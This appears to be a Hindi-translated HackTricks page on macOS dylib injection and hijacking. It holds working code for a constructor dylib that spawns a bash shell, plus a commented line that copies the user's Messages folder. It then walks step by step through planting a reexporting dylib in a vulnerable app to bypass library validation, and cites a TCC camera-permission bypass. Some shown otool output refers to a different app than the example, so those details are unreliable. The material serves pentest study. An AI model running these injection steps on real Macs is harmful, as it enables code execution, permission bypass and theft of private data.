macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

Support HackTricks

DYLD_INSERT_LIBRARIES बुनियादी उदाहरण

शेल निष्पादित करने के लिए इंजेक्ट करने के लिए पुस्तकालय:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

बाइनरी पर हमला करने के लिए:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Injection:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking Example

लक्षित कमजोर बाइनरी है /Applications/VulnDyld.app/Contents/Resources/lib/binary.

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

पिछली जानकारी के साथ, हम जानते हैं कि यह लोड की गई लाइब्रेरीज़ के हस्ताक्षर की जांच नहीं कर रहा है और यह एक लाइब्रेरी लोड करने की कोशिश कर रहा है:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

हालांकि, पहला मौजूद नहीं है:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

तो, इसे हाईजैक करना संभव है! एक लाइब्रेरी बनाएं जो कुछ मनमाने कोड को निष्पादित करती है और वैध लाइब्रेरी के समान कार्यक्षमताओं को फिर से निर्यात करके निर्यात करती है। और याद रखें कि इसे अपेक्षित संस्करणों के साथ संकलित करें:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

इसे संकलित करें:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

लाइब्रेरी में बनाए गए पुनः निर्यात पथ लोडर के सापेक्ष होते हैं, आइए इसे निर्यात करने के लिए लाइब्रेरी के लिए एक पूर्ण पथ में बदलते हैं:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

अंत में, इसे हाइजैक की गई स्थान पर कॉपी करें:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

और बाइनरी को निष्पादित करें और जांचें कि लाइब्रेरी लोड हुई:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]

कैमरा अनुमतियों का दुरुपयोग करने के लिए इस भेद्यता का दुरुपयोग कैसे करें, इस पर एक अच्छा लेख https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ में पाया जा सकता है।

बड़े पैमाने पर

यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्ट करने की योजना बना रहे हैं, तो आप यह पता लगाने के लिए इवेंट संदेशों की जांच कर सकते हैं कि प्रक्रिया के अंदर लाइब्रेरी कब लोड होती है (इस मामले में printf और /bin/bash निष्पादन को हटा दें)।

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
HackTricks का समर्थन करें

Last updated